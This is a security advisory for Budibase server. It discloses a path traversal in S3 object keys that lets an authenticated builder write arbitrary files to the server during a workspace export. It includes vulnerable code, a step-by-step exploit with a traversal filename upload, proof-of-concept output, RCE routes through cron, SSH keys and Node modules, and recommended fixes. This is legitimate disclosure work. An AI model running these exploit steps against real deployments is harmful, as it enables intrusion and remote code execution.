Skip to content

Arbitrary File Write via retrieveDirectory S3-Key Path Traversal

Critical
mjashanks published GHSA-pxwc-66g3-5f27 Jul 22, 2026

Package

npm @budibase/server (npm)

Affected versions

3.40.0

Patched versions

3.40.0

Description

Summary

Budibase writes user-controlled content into the APPS object store using S3 keys that include a user-supplied filename component (e.g. AI knowledge file uploads, worker global config uploads). The sanitizeKey helper (packages/backend-core/src/objectStore/objectStore.ts:94-96) - backed by sanitize-s3-objectkey@0.0.1 - is intended to neutralise dangerous path sequences, but it preserves .. segments verbatim: the library only strips "unsafe" punctuation, keeping / and . (and \\ after the .replace(/\\/g, "/") in sanitizeKey). As a result, a builder can store an S3 object whose key literally contains traversal segments like app_prod_x/ai/knowledge-bases/.../files/f_x/../../../../etc/cron.d/evil.

When the same workspace is later exported via POST /api/backups/export (builder-gated), exportWorkspace calls retrieveDirectory(APPS, "${workspaceId}/") (packages/server/src/sdk/workspace/backups/exports.ts:129). retrieveDirectory lists every object under the workspace prefix - including the poisoned one - and writes each object's body to the local filesystem via join(writePath, ...possiblePath) where possiblePath = Key.split("/") (packages/backend-core/src/objectStore/objectStore.ts:593-604). Node's path.join resolves the .. segments, so the object body is written to a path that escapes writePath.

This is an authenticated-builder -> arbitrary file write on the server's filesystem during export, with attacker-controlled content. The destination is bounded by how many .. segments the key contains: enough segments reach /tmp/, /etc/cron.d/, ~/.ssh/, or anywhere else writable by the Budibase process.


Affected

Component Path Lines
sanitizeKey preserves .. packages/backend-core/src/objectStore/objectStore.ts 94-96 (delegates to sanitize-s3-objectkey@0.0.1)
retrieveDirectory writes without containment packages/backend-core/src/objectStore/objectStore.ts 568-613 (write at 599-604)
Export flow calls retrieveDirectory packages/server/src/sdk/workspace/backups/exports.ts 129-133
Export route (builder-gated) packages/server/src/api/routes/backup.ts 5-9 (POST /api/backups/export)
AI knowledge file upload uses user filename as S3 key packages/server/src/sdk/workspace/ai/knowledgeBase/uploads.ts 42-48 (key builder), 78-84 (upload)
AI knowledge file upload controller (builderAdmin) packages/server/src/api/controllers/ai/files.ts 167-242 (uploadAgentFile); 189 (filename from multipart)
AI knowledge file upload route (builderOrAdmin) packages/server/src/api/routes/aiAgents.ts 117 (POST /api/agent/:agentId/operations/:operationId/files)
Worker global config upload (admin) packages/worker/src/api/controllers/global/configs.ts 678-721 (uses name URL param); 137-141 (route)

Affected versions: master at commit 3c8d1b4023. sanitize-s3-objectkey is pinned at 0.0.1 (packages/backend-core/package.json), a 10+ year old micro-library that has never been patched to remove ... The retrieveDirectory write loop has lacked a containment check since it was introduced.

Reachable over HTTP by: any authenticated user with builderOrAdmin permission (via AI knowledge file upload at routes/aiAgents.ts:117) or admin permission (via worker global config upload). The export step that triggers the file write is builder-gated (POST /api/backups/export requires BUILDER + tenant ownership per ensureTenantAppOwnershipMiddleware).


Root cause

Issue 1 - sanitizeKey does not neutralise ...

// packages/backend-core/src/objectStore/objectStore.ts:94-96
export function sanitizeKey(input: string): string {
  return sanitize(sanitizeBucket(input)).replace(/\\/g, "/")
}

sanitize is sanitize-s3-objectkey@0.0.1. From the upstream source, its SAFE_CHARACTERS = /[^0-9a-zA-Z! _\.\*'\(\)\/-]/g keeps ., /, and -. A key containing .. survives untouched.

Verified empirically with the pinned library:

IN : app_prod_x/ai/knowledge-bases/kb_x/files/f_x/../../../../etc/cron.d/evil
OUT: app_prod_x/ai/knowledge-bases/kb_x/files/f_x/../../../../etc/cron.d/evil
IN : app_x/../../../etc/passwd
OUT: app_x/../../../etc/passwd

sanitizeKey then only runs .replace(/\\/g, "/") - converting backslashes to forward slashes. It does not collapse ...

Issue 2 - retrieveDirectory writes via path.join without containment.

// packages/backend-core/src/objectStore/objectStore.ts:568-613
export async function retrieveDirectory(bucketName, path, toExclude?) {
  return await tracer.trace("retrieveDirectory", async span => {
    let writePath = join(budibaseTempDir(), v4())
    await fsp.mkdir(writePath, { recursive: true })
    ...
    await utils.parallelForeach(
      listAllObjects(bucketName, path),
      async object => {
        const { Key } = object
        if (!Key || toExclude?.some(x => x.test(Key))) return
        ...
        const filename = object.Key!
        const possiblePath = filename.split("/")        // <- includes ".." segments
        const dirs = possiblePath.slice(0, possiblePath.length - 1)
        const possibleDir = join(writePath, ...dirs)    // <- resolves ".."
        if (possiblePath.length > 1 && !fs.existsSync(possibleDir)) {
          await fsp.mkdir(possibleDir, { recursive: true })
        }
        await pipeline(stream, fs.createWriteStream(join(writePath, ...possiblePath), { mode: 0o644 }))
      },
      5
    )
    ...
  })
}

path.join(writePath, "a", "b", "..", "..", "evil") resolves to path.join(writePath, "evil") - the .. segments cancel the preceding directory components. With enough .. segments, the resolved path escapes writePath entirely. There is no assertWithinTempDir check, no path.resolve containment check, no realpath comparison. Contrast with packages/server/src/utilities/fileSystem/filesystem.ts:83-97 which DOES enforce containment for plugin tarball extraction - retrieveDirectory was simply missed.

Issue 3 - The attacker can place a poisoned key under their own workspace prefix.

The AI knowledge file upload at sdk/workspace/ai/knowledgeBase/uploads.ts:42-48 builds the key as ${workspaceId}/ai/knowledge-bases/${knowledgeBaseId}/files/${fileId}/${filename} where filename comes directly from the multipart originalFilename (controllers/ai/files.ts:189). After sanitizeKey (which preserves ..), the stored S3 key is literally: app_prod_<tenant>-<app>/ai/knowledge-bases/<kb>/files/<f>/../../../../etc/cron.d/evil.

When exportWorkspace calls retrieveDirectory(APPS, "${workspaceId}/"), the listing includes this key (it begins with the workspace prefix). The write at objectStore.ts:601 then resolves the .. segments and writes the file to the escaped location.


Reproduction

Step-by-step exploit

  1. Authenticate as a builder in the target tenant.

  2. Upload an AI knowledge file with a traversal-crafted filename:

    POST /api/agent/<agentId>/operations/<operationId>/files
    Content-Type: multipart/form-data; boundary=...
    Cookie: <builder session>
    
    --...
    Content-Disposition: form-data; name="file"; filename="../../../../../../../../tmp/f10-rce-marker.txt"
    Content-Type: application/pdf
    
    <file bytes>
    --...--

    The controller at controllers/ai/files.ts:189 reads filename = upload.originalFilename = the traversal string. It is passed to uploadKnowledgeBaseFile -> buildKnowledgeBaseFileObjectStoreKey -> objectStore.upload({ filename: <key with ../> }) -> sanitizeKey (which preserves the ..). The object is stored.

  3. Trigger an export of the same workspace:

    POST /api/backups/export?appId=<workspaceId>
    Cookie: <builder session>
  4. exportWorkspace -> retrieveDirectory(APPS, "${workspaceId}/") lists the poisoned key. The write loop calls path.join("/tmp/.budibase/<uuid>", "app_prod_...", "ai", "knowledge-bases", ..., "..", "..", ..., "tmp", "f10-rce-marker.txt"), which resolves to /tmp/f10-rce-marker.txt (or further up with more .. segments). The object body (the attacker's uploaded file content) is written there.

  5. The attacker has now written an arbitrary-content file outside the temp directory. Depending on the destination: /etc/cron.d/evil -> cron executes the file as a cron job -> RCE. ~/.ssh/authorized_keys -> SSH login as the Budibase user -> RCE. ${budibase_install_dir}/node_modules/<pkg>/index.js -> loaded by Node on next require -> RCE. Any path watched by a file-watcher / hot-reload -> RCE.

Controlled runtime PoC

f10-retrieve-directory-write.js reproduces the exact sanitizeKey + retrieveDirectory write loop against the actual pinned sanitize-s3-objectkey@0.0.1 library. Output:

=== Step 1: builder upload ===
Builder-supplied filename: ../../../../../../../../tmp/f10-rce-marker.txt
Object store key (raw):    app_prod_test-tenant-app/ai/knowledge-bases/kb_test/files/f_test/../../../../../../../../tmp/f10-rce-marker.txt
After sanitizeKey:         app_prod_test-tenant-app/ai/knowledge-bases/kb_test/files/f_test/../../../../../../../../tmp/f10-rce-marker.txt
sanitizeKey preserved ../?  YES
 
=== Step 2: retrieveDirectory write (simulating export) ===
writePath: /tmp/f10-export-h5EjcO
S3 Key being written: app_prod_test-tenant-app/ai/knowledge-bases/kb_test/files/f_test/../../../../../../../../tmp/f10-rce-marker.txt
 
Written to: /tmp/f10-rce-marker.txt
 
=== Step 3: check escape ===
!!! /tmp/f10-rce-marker.txt EXISTS (size=33)
!!! Content: "ARBITRARY-CONTENT-WRITTEN-BY-F10\n"
!!! CONCLUSION: arbitrary file write outside writePath - F10 CONFIRMED

The file was written to /tmp/f10-rce-marker.txt (outside the simulated writePath = /tmp/f10-export-XXX), with attacker-controlled content.


Impact

Capability Available
Arbitrary-content file write at any path writable by the Budibase process
RCE via /etc/cron.d/evil (cron executes it) - on systems where Budibase runs as root or has cron write access
RCE via ~/.ssh/authorized_keys - if the Budibase user's home is reachable with enough .. segments and SSH is exposed
RCE via writing into a Node-loaded module path (e.g. a node_modules/<pkg> file that Budibase requires)
Persistence / tampering of any file the process can write

The attacker is an authenticated builder in the same tenant. The write is content-controlled (the attacker chose the uploaded file body) and path-controlled (the attacker chose the .. count).

The most realistic RCE vector depends on the deployment: Self-hosted Linux running as a non-root service user: target ~/.ssh/authorized_keys (if SSH exposed), or any directory in the service user's PATH that is loaded by a cron job. Container deployments: target writable paths inside the container (e.g. /etc/cron.d/, /tmp/ watched by a supervisor, or the container's Node node_modules if writable). Cloud multi-tenant: the builder is a malicious tenant; the write lands on the shared server's filesystem. Tenant isolation is broken at the filesystem level.


Fix

Recommended layered fixes:

  1. Patch sanitizeKey to reject or collapse ... In packages/backend-core/src/objectStore/objectStore.ts:94-96, after the sanitize call, either reject keys containing .. segments or strip them:

    export function sanitizeKey(input: string): string {
      let key = sanitize(sanitizeBucket(input)).replace(/\\/g, "/")
      if (/(^|\/)\.\.?(\/|$)/.test(key)) {
        throw new Error(`Invalid S3 key: contains traversal segment: ${input}`)
      }
      return key
    }

    Apply this at the chokepoint so every caller benefits.

  2. Add a containment assertion to retrieveDirectory. Before the createWriteStream, resolve the target path and assert it is inside writePath:

    const target = path.resolve(writePath, ...possiblePath)
    const resolvedWritePath = path.resolve(writePath) + path.sep
    if (!target.startsWith(resolvedWritePath)) {
      console.warn(`retrieveDirectory: refusing to write outside writePath: ${target}`)
      return
    }

    This mirrors the existing assertWithinTempDir pattern in packages/server/src/utilities/fileSystem/filesystem.ts:83-97 that correctly protects plugin tarball extraction.

  3. Pattern-validate the AI knowledge file filename at upload time in controllers/ai/files.ts:189 - reject any filename containing path separators or ... Similarly validate the worker global config name param in routes/global/configs.ts:137-141 (currently only Joi.string().required()).

  4. Replace sanitize-s3-objectkey@0.0.1 with a maintained alternative (or vendor the function inline). The library is 10+ years old and unmaintained.

The single most defensible fix is #2 (containment in retrieveDirectory) - it eliminates the write primitive regardless of how the key was constructed. But #1 and #3 together also close the upload-time injection.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. Learn more on MITRE.

Credits